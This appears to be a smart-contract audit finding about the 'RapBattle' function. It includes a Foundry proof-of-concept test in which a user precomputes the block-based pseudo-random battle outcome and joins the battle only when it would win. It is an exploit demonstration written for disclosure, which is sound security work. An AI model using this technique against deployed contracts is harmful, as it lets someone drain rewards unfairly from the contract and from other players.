In the 'RapBattle' function, when an user fights in a battle with another one, he will able to see if he will win the battle or not, if not he may reject the transaction.
function test__battle_UserCanRejectTxIfHeDoesNotWin()public {
vm.startPrank(owner);
credToken.setStreetsContract(address(streetsContract));
oneShotContract.setStreetsContract(address(streetsContract));
vm.stopPrank();
address randomUser = address(236112);
vm.startPrank(randomUser);
oneShotContract.mintRapper();
oneShotContract.approve(address(streetsContract), 0);
streetsContract.stake(0);
vm.warp(block.timestamp + 88600);
streetsContract.unstake(0);
credToken.approve(address(rapBattleContract), 1);
oneShotContract.approve(address(rapBattleContract), 0);
rapBattleContract.goOnStageOrBattle(0, 1);
vm.stopPrank();
address randomUser2 = address(23611221);
vm.startPrank(randomUser2);
oneShotContract.mintRapper();
oneShotContract.approve(address(streetsContract), 1);
streetsContract.stake(1);
vm.warp(block.timestamp + 88600);
streetsContract.unstake(1);
credToken.approve(address(rapBattleContract), 1);
oneShotContract.approve(address(rapBattleContract), 1);
uint256 tokenId = 1;
uint256 defenderRapperSkill = rapBattleContract.getRapperSkill(rapBattleContract.defenderTokenId());
uint256 challengerRapperSkill = rapBattleContract.getRapperSkill(tokenId);
uint256 totalBattleSkill = defenderRapperSkill + challengerRapperSkill;
uint256 random = uint256(keccak256(abi.encodePacked(block.timestamp, block.prevrandao, msg.sender))) % totalBattleSkill;
if(random <= defenderRapperSkill){
console.log("Oh well i will lose so i won't complete this transaction");
}else{
rapBattleContract.goOnStageOrBattle(1, 1);
}
vm.stopPrank();
}
If user can see if they will win or not the battle, this is a huge problem, this means that people can continuously call the function and sign it only when they will win, doing so they will earn a bunch of tokens "for free".
The logic of this function need to be regarded, the main problem is that the random value is given also by utilizing a variable in the function 'totalBattleSkill' that is fully accessible also to external contracts.